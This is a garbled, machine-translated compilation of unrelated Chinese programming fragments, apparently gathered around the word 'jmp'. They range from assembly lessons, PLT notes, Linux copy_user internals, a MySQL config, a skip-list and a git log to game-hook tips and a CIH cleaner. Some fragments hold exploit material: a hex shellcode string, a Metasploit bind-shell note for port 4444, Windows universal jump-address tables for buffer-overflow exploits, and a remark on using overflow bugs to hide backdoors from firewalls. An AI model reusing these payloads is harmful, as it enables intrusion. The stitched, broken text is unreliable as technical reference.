jmp 002

address for all 6F statements ). This CALL is called not only when the money and wood population changes, but even when the Organization is created or destroyed. All we need here is to HOOK the call to the change of money and wood. After all, other abnormal functions have already been written by our predecessors and there is no need to repeat the wheel. (If you are interested, you can analyze it yourself) You only need to determine the value of edx before mov edx, dword ptr ss: [esp + 0x4] to

, 000 h, 04ch, 001 h, 001 h, 000 hDb 0f1h, 068 h, 020 h, 035 h, 000 h, 000 h, 000 h, 000 hDb 000 h, 000 h, 000 h, 000 h, 0e0h, 000 h, 00fh, 001 hDb 00bh, 001 h, 005 h, 000 h, 000 h, 010 h, 000 h, 000 hDb 000 h, 000 h, 000 h, 000 h, 000 h, 000 h, 000 hDb 010 h, 010 h, 000 h, 000 h, 000 h, 010 h, 000 h, 000 hDb 000 h, 020 h, 000 h, 000 h, 000 h, 000 h, 040 h, 000 hDb 000 h, 010 h, 000 h, 000 h, 000 h, 002 h, 000 h, 000 hDb 004 h, 000 h, 000 h, 000 h, 00

"\ x55 \ x8B \ xEC \ x83 \ xEC \ x2C \ xB8 \ x63 \ x6F \ x6D \ x6D \ x89 \ x45 \ xF4 \ xB8 \ x61 \ x6E \ x64 \ x2E "" \ x89 \ x45 \ xF8 \ xB8 \ x63 \ x6F \ x6D \ x22 \ x89 \ x45 \ xFC \ x33 \ xD2 \ x88 \ x55 \ xFF \ x8D \ x45 \ xF4 "" \ x50 \ xB8 "" \ xc7 \ x93 \ xbf \ x77 "" \ xFF \ xD0 "" \ x83 \ xC4 \ x12 \ x5D "; In addition // Bind a shell to port 4444, which can be remotely logged on via telnet /* Win32_bind-EXITFUNC = process LPORT = 4444 Size = 696 Encoder = Alpha2 http://metasploit.c

correction code when an exception occurs, to prevent the kernel from being replaced by a bug. 1. _ copy_userMacro _ copy_user is defined in include/asm-i386/uaccess. h and is the key to memory replication from user space and kernel space. This macro is extended as follows after compilation: 000 # DEFINE _ copy_user (to, from, size)001 do {002 int _ D0, _ D1;003 _ ASM _ volatile __(004 "0: rep; movsl/N"005 "movl % 3, % 0/N"006 "1: rep; movsb/N"007 "2:

);#003#004 // define the structure of the modified Code.#005 # pragma pack (push, 1)#006 struct thunkcode#007 {#008 byte m_jmp; // JMP testfun, jump command.#009 DWORD m_relproc; // relative JMP, relative jump position.#010 };#011 # pragma pack (POP)#012#013 // test the dynamic modification of instruction data in the memory.#014 // Cai junsheng 2007/12/06 QQ: 9073204 Shenzhen#015 class cflush#016 {#017 pub

://images.enet.com.cn/eschool/wmv/01.wmv15 overflow examples and analysis video tutorial http://images.enet.com.cn/eschool/wmv/02.wmv16 shellcode introduction video tutorial http://images.enet.com.cn/eschool/wmv/03.wmv17 Buffer Overflow simple exploitation video tutorial http://images.enet.com.cn/eschool/wmv/04.wmv18 construct a http://images.enet.com.cn/eschool/wmv/05.wmv using video tutorial19 Foxmail vulnerability compilation-vulnerability announcement http://images.enet.com.cn/eschool/wmv/06

,ds:data,es:data,ss:stack KILLCIH PROC FAR MOV di,0082h MOV Dl,[di] Dec di MOV Bl,[di] PUSH DS XOR Ax,ax PUSH AX PUSH DS MOV Ax,data MOV Ds,ax MOV Es,ax MOV Ax,stack MOV Ss,ax ; Determine the test plate number CMP BL,0DH JZ Disk2 and DL,05FH CMP dl,41h JNZ DISK1 MOV BYTE ptr[disksgn],01h MOV BYTE ptr[diskcha],41h JMP DISK2 DISK1:CMP dl,42h JNZ DISK3 MOV BYTE ptr[disksgn],02h MOV BYTE ptr[diskcha],42h JMP DI

int 21h Retry:cmp al, "1" Je speed1 CMP al, "2" Je speed2 CMP al, "3" Je speed3 CMP al, "4" Je speed4 CMP al, "5" Je speed5 CMP al, "6" Je speed6 CMP AL,1BH Je to_over0 JMP input TO_OVER0:JMP over Speed1:mov ah,01h int 21h CMP AL,0DH Jne OtherKey MOV ax,speed+2 MOV Speed,ax JMP begin Speed2:mov ah,01h int 21h CMP AL,0DH Jne OtherKey MOV ax,speed+4 MOV Speed,ax

←itset Brief Introduction to the implementation of –with-abi and –with-arch in gcc → PLT Example ExplanationPosted on May, from admin by XMJ, Yao First, x86 ABI Handbook original and translation Original digest from System V application BINARY INTERFACE. Figure 5-7: Position-independent Procedure Linkage Table . PLT0:PUSHL 4 (%EBX) jmp *8 (%EBX) nop; NOP nop; NOP . PLT1:JMP *name1@got

This anti-debugging method is different from the previous anti-debugging method.In the past, anti-debugging was based on the determination of the debugging personnel. Currently, powerful VMP and TMD methods are also used, the disadvantage of this method is that it is ineffective for a strong-willed, curious, or shake M (that is, if you give him a slap in the face, he also feels good from the heart. At present, we can all crack the VMP, TMD's norm, and prove the bottleneck of this anti-debugging.

and sockets to achieve port multiplexing and socket multiplexing for communication, so as to hide and bypass the firewall.? Overflow has little impact on program performance. It is completely passive.? Creating an overflow vulnerability is simple and easy to implement. Even a very secure application can easily create an overflow bug, such as a package of code calls:Recv (sock, Buf, xxxx, flag). You only need to adjust the value of XXX to cause an overflow vulnerability. II. General Overflow Vul

] section of the configuration file/etc/my.cnf, as follows: [mysqld]datadir=/opt/mysql/datasocket=/opt/mysql/mysql.sockuser=mysql# below for newly added content read_only= 1default-storage-engine=innodbreplicate-ignore-db=mysql,information_schema #不同步的数据库, multiple write multiline replicate-do-db= Meerkat #同步的数据库, multiple Binlog-ignore-db=mysql,information_schema #不需要记录二进制日志的数据库, multiple lines separated by commas Binlog-do-db=meerkat #需要记录二进制日志的数据库, multiple separated by

similar to that of mov. (4). Push: in the stack, the top pointer of the stack (SP) = (SP) + 2, and a word of data is stored in the memory unit specified by the SP For example: Push ax; push register push ds: [0]; push memory unitEasy to troubleshoot: Push al; push register (high/low) byte (invalid command), must be a word, 16-Bit Data push 8 h; push constant (invalid command) (5). Pop: read out the stack, read the memory unit indicated by the word sp, and make the stack top pointer (SP) = (

that of mov. (3). sub: reduce the data value. The usage is similar to that of mov. (4). push: in the stack, the top pointer of the stack (sp) = (sp) + 2, and a word of data is stored in the memory unit specified by the sp For example: Push ax; push register push ds: [0]; push memory unitEasy to troubleshoot: Push al; push register (high/low) byte (invalid command), must be a word, 16-Bit Data push 8 h; push constant (invalid command) (5). pop: read out the stack, read the memory unit indica

By axis 2007-03-28 Http://www.ph4nt0m.org General jump address of windows in simplified Chinese: (2 k/XP/2K3) 0x7ffa45f3 JMP ECx \ xFF \ xe1 0x7ffa4967 jmp ebp \ xFF \ xe5 0x7ffa4a1b jmp ebx \ xFF \ xe3 0x7ffa6773 push EBX, retn \ x53 \ xc3 (0x7ffa6772 is pop EDX) 0x7ffd1769 -- 0x7ffd1779 JMP eax \ xFF \ xe0 0x7ffc01b0

1. IP addresses can be modified, or commands for both CS and IP addresses can be collectively referred to as transfer commands. There are two types of transfer: (1) only change the IP address to intra-segment transfer, for example, JMP ax (2) Change CS and IP address to inter-segment transfer, for example, JMP 1000:0 2. The offset operator is a pseudo-instruction. Its function is to get the offset address

Skip Table Detail NoteSee the comment code specificallyluogup3369:https://www.luogu.org/recordnew/show/117824191#include 2 #defineRepeat (a,b,c,d) for (int a=b;a3 using namespacestd;4 structnode{5 intNxt,dwn,jmp,val;6}a[100000*4];7 intAl =0, N,first;8 Const intMAXDEP =9, INF =1e9;9InlinevoidBuild () {//called at the beginning of the program to construct a DEP=MAXDEP tableTen for(RegisterintI=1; i//Build Start Node OneA[++AL].NXT = Maxdep + i;

by axis 2007-03-28 http://www.ph4nt0m.org Simplified Chinese Windows Universal Jump Address: (2K/XP/2K3) 0X7FFA45F3 jmp ecx \xff\xe1 0x7ffa4967 jmp EBP \xff\xe5 0X7FFA4A1B jmp ebx \xff\xe3 0x7ffa6773 push Ebx,retn \x53\xc3 (0x7ffa6772 is pop edx) 0x7ffd1769--0x7ffd1779 jmp eax \xff\xe0 0x7ffc01b0 Pop Esi,retn \x5e\xc3

Roc. cInt main (){Printf ("MASTER: 001 ″);Return 0;}[Rocrocket @ ABC rebase] $ git initInitialized empty git repository in/rocrocket/career/programming/Git-study/rebase/. Git/[Rocrocket @ ABC rebase] $ git add.[Rocrocket @ ABC rebase] $ git commit-M "master: 001 ″Created initial commit 2d89602: MASTER: 0011 files changed, 5 insertions (+), 0 deletions (-)Create mode 100644 Roc. c[Rocrocket @ ABC rebase] $ git logCommit 2d89602d0c99551_df0d2c023e447f5d98d863aAuthor: rocrocket Date:Mon Nov 17 15:

(i) the foregoingYou can modify the IP, or both CS and IP instructions are collectively referred to as transfer instructions .The transfer behavior has the following categories: When you modify IP only, it is called intra-segment transfer, for example: JMP ax. Simultaneous modification of CS and IPs is called inter-segment transfer, for example: jmp 1000:0. because the transfer instruction